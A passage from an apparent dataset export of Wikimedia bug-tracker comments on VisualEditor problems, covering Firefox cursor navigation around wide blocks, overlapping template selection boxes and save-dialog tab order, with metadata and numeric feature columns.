   https://en.wikipedia.org/wiki/Jos%C3%A9_Cl%C3%A1udio_Ribeiro_da_Silva?veaction=edit
   https://en.wikipedia.org/wiki/Marty_Callaghan?veaction=edit

   or a similar block like in this article

   https://en.wikipedia.org/w/index.php?title=Mary_Louise_Smith_%28Republican_Party_leader%29&veaction=edit

2. Repeat pressing down key to reach the bottom of the article

Expected results:
Down key continues to step down through the article until it reaches the bottom.

Actual results:
Down key works until the references block.  It becomes stuck on the right hand side of the block.

Im adding this here as it appears to be the exact same underlying problem, as typing when the cursor is on the right-hand side of other wide objects, such as references, also produces unexpected results.",,,1381624406,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,False,,,14,,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,8.333333333333334,1.3333333333333333,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,12.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,4.333333333333333,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,16.333333333333332,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,8.0,1.3333333333333333,5.0,0.6666666666666666,1.3333333333333333,9.333333333333334,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,2.0,12.0,1.0,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,1.0,0.0,1.6666666666666667,0.3333333333333333,0.0,1.0,3.990049751243781,0.7213930348258706,"In addition to <gallery>, and corruption, a less significant problem is that the down cursor becomes stuck at any block that consumes the entire page with (such as the references block or navbars); pressing the down arrow on the keyboard does not move the cursor to the next item underneath the block.

Steps to reproduce:
1. Load any page in VE with a references block and something underneath it. e.g.
   URL
   URL

   or a similar block like in this article

   URL

2. Repeat pressing down key to reach the bottom of the article

Expected results:
Down key continues to step down through the article until it reaches the bottom.

Actual results:
Down key works until the references block.  It becomes stuck on the right hand side of the block.

Im adding this here as it appears to be the exact same underlying problem, as typing when the cursor is on the right-hand side of other wide objects, such as references, also produces unexpected results."
253598,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","Confirmed bug in Firefox. Specifically:

(In reply to comment #0)
> 1. https://en.wikipedia.org/wiki/User:Raymond/Gallery?veaction=edit
> 2. Put the cursor after the first ':'
> 3. Press the down arrow - cursor should now be far right of window, beside
> the gallery

No, it really shouldn't - it should be in the next heading (""Anzahl Bilder pro Reihe: perrow=2""). See the behaviour in Chrome/Safari for reference. This is a bug specific to Firefox AFAICT.",,,1374680740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,26.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,3.0,12.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.4927536231884058,0.6811594202898551,"Confirmed bug in Firefox. Specifically:

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

No, it really shouldn't - it should be in the next heading (""Anzahl Bilder pro Reihe: perrow=2""). See the behaviour in Chrome/Safari for reference. This is a bug specific to Firefox AFAICT."
253595,"VisualEditor: Firefox allows cursor to get into illegal position around wide objects (<gallery>, <references>, etc), leading to corruption, and prevents down arrow button navigation","Reliable snowmen

1. https://de.wikipedia.org/wiki/Benutzer:John_Vandenberg/test?veaction=edit
2. Place the cursor above the image (which is inside a template)
3. press down so that the cursor is beside the image/template
4. press 'a'

Win: snowman + 'a'",,,1374667755,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-zc6v32lm5ytpux3undwt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,8.0,4.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,12.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,3.0,0.6346153846153846,"Reliable snowmen

1. URL
2. Place the cursor above the image (which is inside a template)
3. press down so that the cursor is beside the image/template
4. press 'a'

Win: snowman + 'a'"
53933,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"Overlapping template selection box in Firefox 22 on Linux

When templates do not have a defined width the blue selection box extends the whole width of the window, regardless of whether the template does. This means that in some cases, e.g. at [[Where Does This Door Go]], the transclusion editor icon is displayed not on top of the template.

More seriously it also means that smaller templates to the right of larger ones are difficult of impossible to access because they are completely covered by the other template's selection box. At the same article, the ""Professional ratings"" translcusion is difficult to select (you need to click it in line with the slug between the templates on the left) and the tooltip icon does not appear.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49922

**Attached**: {F11785}",High,80.0,1374655380,1405201146.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-2siqskyqqgqcynauvs72,task_description,resolved,True,c1,3,False,False,False,3,,0.5,0.0,0.5,1.0,1.5,7.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.5,1.0,0.0,0.0,1.0,15.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.5,3.0,0.5,9.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,2.0,12.5,2.5,0.0,1.0,0.0,2.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,1.0,3.9945054945054945,0.6703296703296704,"Overlapping template selection box in Firefox 22 on Linux

When templates do not have a defined width the blue selection box extends the whole width of the window, regardless of whether the template does. This means that in some cases, e.g. at [[Where Does This Door Go]], the transclusion editor icon is displayed not on top of the template.

More seriously it also means that smaller templates to the right of larger ones are difficult of impossible to access because they are completely covered by the other template's selection box. At the same article, the ""Professional ratings"" translcusion is difficult to select (you need to click it in line with the slug between the templates on the left) and the tooltip icon does not appear.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11785}"
252427,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,Both of the examples linked to work now.,,,1405201146,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Both of the examples linked to work now.
252422,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,Partially mitigated by the above but I believe not fixed. Resetting.,,,1402533482,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.461538461538462,0.9230769230769231,Partially mitigated by the above but I believe not fixed. Resetting.
252420,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"Change 138338 merged by jenkins-bot:
Special case for shielding of generated content wrappers

https://gerrit.wikimedia.org/r/138338",,,1402525633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.947368421052632,1.0,"Change 138338 merged by jenkins-bot:
Special case for shielding of generated content wrappers

GERRIT_URL"
252416,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"Change 138338 had a related patch set uploaded by Esanders:
Special case for shielding of generated content wrappers

https://gerrit.wikimedia.org/r/138338",,,1402321080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,1.0,"Change 138338 had a related patch set uploaded by Esanders:
Special case for shielding of generated content wrappers

GERRIT_URL"
252411,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,*** Bug 54301 has been marked as a duplicate of this bug. ***,,,1402294829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54301 has been marked as a duplicate of this bug. ***
252405,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,*** Bug 50970 has been marked as a duplicate of this bug. ***,,,1402294818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50970 has been marked as a duplicate of this bug. ***
252398,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,The edit icon showing up in random places is also mentioned at https://bugzilla.wikimedia.org/show_bug.cgi?id=51548 .,,,1377775199,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9285714285714284,1.0,The edit icon showing up in random places is also mentioned at URL .
252392,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"*overlapping blocks, or templates, or whatever, you understood me :)",,,1377699148,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,4.214285714285714,0.7857142857142857,"*overlapping blocks, or templates, or whatever, you understood me :)"
252385,VisualEditor: Overlapping template boxes make some transclusions difficult or impossible to access,"I arrived here to document the same situation. A user at en.wp reports he's not able to edit reviews with VE at http://en.wikipedia.org/wiki/X_(Def_Leppard_album) because of the overlapping windows. While for me this is certainly the case with FF, with Chrome instead I am able to select the template if I click on the Review Scores line. This said, the icon to actually edit contents only appears... at the top of the Infobox album - definitely not where one would expect it to.",,,1377698588,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2siqskyqqgqcynauvs72,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,2.0,3.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,4.0,1.0,10.0,20.0,0.0,6.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,10.0,2.0,14.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,20.0,8.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.9,0.7222222222222222,"I arrived here to document the same situation. A user at en.wp reports he's not able to edit reviews with VE at URL because of the overlapping windows. While for me this is certainly the case with FF, with Chrome instead I am able to select the template if I click on the Review Scores line. This said, the icon to actually edit contents only appears... at the top of the Infobox album - definitely not where one would expect it to."
53918,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Cloning from bug 50897 comment 2:

In the old editor, I would simply use TAB to reach the edit summary, type my
edit summary and press ENTER to activate the ""Save page"" button and save. If I
wanted to mark the edit minor, then I could type my edit summary, press TAB,
SPACE, and then ENTER to ""Save page"".

I can see that the new box for entering an edit summary allows newlines to be
entered. I am not sure this is a good idea, because I just used a WSYIWYG
editor and now ""What I see"" - well-formatted paragraphs describing my edit - is
not going to be ""what I get"" - everything smashed on one line in the article
history. But that is perhaps grist for another bug mill.

It seems that the ""Save page"" button never receives caret focus if I use TAB to
try to get there. This would seem to have accessibility ramifications.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1374630480,1381187048.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,4.0,0.3333333333333333,4.0,7.666666666666667,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,4.333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,12.666666666666666,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,2.0,10.333333333333334,2.0,1.6666666666666667,5.333333333333333,0.0,0.0,0.0,0.0,5.666666666666667,0.0,1.0,0.0,4.666666666666667,7.666666666666667,2.6666666666666665,0.0,3.6666666666666665,0.0,4.666666666666667,0.0,0.6666666666666666,1.0,0.0,1.3333333333333333,0.0,0.0,0.0,3.500717266562337,0.668622848200313,"Cloning from bug 50897 comment 2:

In the old editor, I would simply use TAB to reach the edit summary, type my
edit summary and press ENTER to activate the ""Save page"" button and save. If I
wanted to mark the edit minor, then I could type my edit summary, press TAB,
SPACE, and then ENTER to ""Save page"".

I can see that the new box for entering an edit summary allows newlines to be
entered. I am not sure this is a good idea, because I just used a WSYIWYG
editor and now ""What I see"" - well-formatted paragraphs describing my edit - is
not going to be ""what I get"" - everything smashed on one line in the article
history. But that is perhaps grist for another bug mill.

It seems that the ""Save page"" button never receives caret focus if I use TAB to
try to get there. This would seem to have accessibility ramifications.

--------------------------
**Version**: unspecified
**Severity**: minor"
251362,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"At least for me, this is not browser-specific: I get the problem in both Chrome and FFox. (The other problem is, I agree, browser-specific.)",,,1400621292,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,6.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.25,0.75,"At least for me, this is not browser-specific: I get the problem in both Chrome and FFox. (The other problem is, I agree, browser-specific.)"
251354,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"(In reply to Luis Villa (personal-for work use lvilla@wikimedia.org) from comment #11)
> This is broken (again?) The three license links come up before the action
> buttons (and save page never comes up, but that is bug 50047 I think?)

Was going to re-open, but because it's a browser-specific issue I've instead opened bug 65554 to get this fixed.",,,1400619950,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,46,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,16.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,4.0,16.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.588235294117647,0.8431372549019608,"(In reply to Luis Villa (personal-for work use lvilla@wikimedia.org) from comment #11)
QUOTE
QUOTE

Was going to re-open, but because it's a browser-specific issue I've instead opened bug 65554 to get this fixed."
251348,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"This is broken (again?) The three license links come up before the action buttons (and save page never comes up, but that is bug 50047 I think?)",,,1400615811,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.8529411764705882,"This is broken (again?) The three license links come up before the action buttons (and save page never comes up, but that is bug 50047 I think?)"
251345,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,*** Bug 53257 has been marked as a duplicate of this bug. ***,,,1398102157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53257 has been marked as a duplicate of this bug. ***
251340,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187048,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,27.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,19.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.269230769230769,0.8076923076923077,"The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October."
251335,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1381186917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

GERRIT_URL"
251331,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

